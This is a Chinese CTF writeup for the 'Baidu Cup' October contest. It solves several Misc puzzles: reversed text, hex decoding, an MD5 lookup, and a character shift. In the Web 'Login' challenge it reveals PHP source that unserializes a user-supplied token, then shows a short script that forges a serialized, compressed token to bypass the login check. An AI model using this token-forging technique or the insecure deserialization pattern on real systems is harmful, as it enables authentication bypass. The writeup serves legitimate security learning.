

# “百度杯”CTF比赛 十月场 writeup

原创

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## "百度杯"CTF比赛十月场

Misc

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## Misc

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## 剧情大反转

分值: 10分 类型: Misc 题目名称: 剧情大反转

题目内容:

```
}~144_0t_em0c14w{galf
```

反向输入

flag: `flag{w41c0me_t0_441~}`

## challenge

分值: 10分 类型: Misc 题目名称: challenge

题目内容:

```
666c61677b686578327374725f6368616c6c656e67657d
```

flag: `flag{hex2str_challenge}`

flag{hex2str_challenge}	ASCII
102 108 97 103 123 104 101 120 50 115 116 114 95 99 104 97 108 108 101 110 103 101 125	DEC
666c61677b686578327374725f6368616c6c656e67657d	HEX

## 据说是rc4算法

分值: 10分 类型: Misc 题目名称: 据说是rc4算法

题目内容:

```
key welcometoicqedu
```

```
密文UyFTj8PCzF6geFn6xgBOYSvVTrbpNU40F9db9wMcPD1yDbajw==
```

## try again

分值: 10分 类型: Misc 题目名称: try again

题目内容:

```
try to find the flag
```

附件下载

下载附件: 文本打开得到flag

flag: `flag{re_start_007}`

```
T babyre - Typora
文件(F) 编辑(E) 段落(P) 格式(O) 视图(V) 主题(T) 帮助(H)

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00 đ0đ00/lib64/ld-linux-x86-
64.so.2000GNU000000GNUÇ0ôBFruą`hĐą0kß0bW#E0000000000,
libc.so.6putcharprintflibc_start_mai ngmon_start_ GLIBC_2.2.50000000
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0Ā00flag{re_start_007}welcome to the re world000;4đý`0@t`P-
`***P`ČR`0000zR0x000000000000čý`*00zR0x00000000$0hý`P00F00J
00w00?0;*3$`0D}t`0A0000C
0Z00Dd0t`eB0000E0000E0 00E0(00H0000H0800M0@l08A00A0(B0
B00B00B000Z`t`0P0@00@00 0@
00@000`00000`00óť`o00@00@0,0@
G00000`0`000R0@0`0@00 0
t`o00@`00đ`ox0@(\`v0@f0@v0@000$0@GCC:(Ubuntu 4.8.4-
2ubuntu1~14.04) 4.8.4GCC:(Ubuntu 4.8.2-19ubuntu1)
4.8.2.symtab.strtab.shstrtab.interp.note.ABI- CSDN @递归开放
```

### 表姐家的签到题

分值: 10分 类型: Misc 题目名称: 表姐家的签到题

题目内容:

出题人表示金盆洗手  
不坑任何参赛选手  
干脆利落, 直接奉上答案  
就是  
123456abcdef



flag: `flag{123456abcdef}`

## 泄露的数据

分值: 10分 类型: Misc 题目名称: 泄露的数据

题目内容:

听说这是某个数据库的泄漏的重要数据

25d55ad283aa400af464c76d713c07ad, 试着找出原始key吧。

`flag{key}`

判断为MD5加密: [md5解密网站](#)

密文:

类型:  [帮助]

查询结果:  
**12345678**

CSDN @递归开放

flag: `flag{12345678}`

## 考眼力

分值: 10分 类型: Misc 题目名称: 考眼力

题目内容:

`gmbh{4d850d5c3c2756f67b91cbe8f046eebd}`

try to find the flag

根据gmbh推断出原字符内容只须要根据给出字符串中, 每一个字母的ASCII编码-1, 便可获得

flag: `flag{4c850c5b3b2756e67a91bad8e046ddac}`

## flag格式

分值: 10分 类型: Misc 题目名称: flag格式

题目内容:

你真的知道flag格式吗?

尝试提交flag{0ahief9124jfjir}

直接提交: `flag{0ahief9124jfjir}`

## Web

### Login

分值: 50分 类型: Web 题目名称: Login未解答

题目内容:

加油, 我看好你

本题由播主Wfox提供

### 创建赛题

**Username:**

**Password:**

CSDN @递归开放

[查看源码显示](#)

```
<!doctype html>
<html>
<head>
  <meta charset="utf-8" />
  <title>Log In</title>
  <link rel="stylesheet" href="//cdn.bootcss.com/skeleton/2.0.4/skeleton.min.css" />
</head>
<body>
  <div class="container">
    <form method="post" action="login.php">
      <label for="username">Username: </label>
      <input class="u-full-width" type="text" name="username" placeholder="Username" />
      <label for="password">Password: </label>
      <input class="u-full-width" type="password" name="password" placeholder="Password" />
      <input type="submit" value="Log In" />
    </form>
  </div>
</body>
</html>

<!-- test1 test1 -->
```

输入: test1 test1

得到: ( ' ') \_ \_ \_

将该页面进行抓包得到：发现在http头里面有一个特别的参数show=0

```
GET /member.php HTTP/1.1
Host: 26487d8a875a4bdaa207ed90f791c03cc32172d4647548f8.changame.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/2010101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://26487d8a875a4bdaa207ed90f791c03cc32172d4647548f8.changame.ichunqiu.com/index.php?error=1
Connection: close
Cookie: ci_session=1b644da59042e950c01b39e9a01735f333989a4;
UM_distinctid=17b962fcb1e189-0b08e85faefd58-4c3e247b-1fa400-17b962fcb1fc9;
Hm_lm_2d0601bd28de7d49818249cf35d95943=1630312320,1630326599,1630326635,1630327260;
Hm_lmvt_2d0601bd28de7d49818249cf35d95943=1630327897; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0000;
__jsluid_h=07d68c6af04827b4139cfb9989a1027f; PHPSESSID=dcrepkivfs9g1tbn4ksqg2oeq4
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

HTTP/1.1 200 OK
Date: Mon, 30 Aug 2021 15:16:25 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 69
Connection: close
Vary: Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
show: 0
Vary: Accept-Encoding
X-Via-JSL: bfae526,-
X-Cache: bypass

<head>
<meta charset="utf-8" />
</head>
{ ' ' } ^ _ _ _
```

CSDN @递归开放

将show改为1，得到一段php源码

```
GET /member.php HTTP/1.1
Host: 26487d8a875a4bdaa207ed90f791c03cc32172d4647548f8.changame.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/2010101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://26487d8a875a4bdaa207ed90f791c03cc32172d4647548f8.changame.ichunqiu.com/index.php?error=1
Connection: close
Cookie: ci_session=1b644da59042e950c01b39e9a01735f333989a4;
UM_distinctid=17b962fcb1e189-0b08e85faefd58-4c3e247b-1fa400-17b962fcb1fc9;
Hm_lm_2d0601bd28de7d49818249cf35d95943=1630312320,1630326599,1630326635,1630327260;
Hm_lmvt_2d0601bd28de7d49818249cf35d95943=1630327897; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0000;
__jsluid_h=07d68c6af04827b4139cfb9989a1027f; PHPSESSID=dcrepkivfs9g1tbn4ksqg2oeq4
Upgrade-Insecure-Requests: 1
show:1

</head>
<!-- <?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
    public $where;
    function __wakeup()
    {
        if(!empty($this->where))
        {
            $this->select($this->where);
        }
    }

    function select($where)
    {
        $sql = mysql_query('select * from user where '.$where);
        return @mysql_fetch_array($sql);
    }
}

if(isset($requset['token']))
{
    $login = unserialize(gzuncompress(base64_decode($requset['token']));
    $db = new db();
    $row = $db->select('user=\'\'.mysql_real_escape_string($login['user']).\'');
    if($login['user'] === 'ichunqiu')
    {
        echo $flag;
    }else if($row['pass'] !== $login['pass']){
        echo 'unserialize injection!';
    }else{
        echo "{ ' ' } ^ _ _ _";
    }
}
}else{
header('Location: index.php?error=1);
}
?> -->{ ' ' } ^ _ _ _
```

CSDN @递归开放



```

<!-- <?php
include 'common.php';
$request = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}

function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}

if(isset($request['token']))
{
$login = unserialize(gzuncompress(base64_decode($request['token'])));
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\');
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "( ' ' ) ^ _ _ ";
}
}else{
header('Location: index.php?error=1');
}
}
?> -->

```

分析代码：须要向common.php页面发送Request请求，传入变量token，先对传入的数据进行Base64解码，再解压缩压缩字符串，再反序列化变量，判断user是否等于ichunqiu。

什么是token?

Token是在服务端产生的。如果前端使用用户名/密码向服务端请求认证，服务端认证成功，那么在服务端会返回Token给前端。前端可以在每次请求的时候带上Token证明自己的合法地位。简单来说就是我们可以伪造一个token加在请求参数之中，服务器认为是ichunqiu访问，返回flag。

unserialize反序列化

gzuncompress解压字符串

base64\_decode: base64加密编码;

根据所需构造PHP脚本:

```

<?php
$a = array('user' => 'ichunqiu');
$b = base64_encode(gzcompress(serialize($a)));
echo $b
?>

```

Web

Login

Backdoor

GetFlag

Not Found

Vld

EXEC

登陆

Gift

fuzzing

Try

Hash

Nothing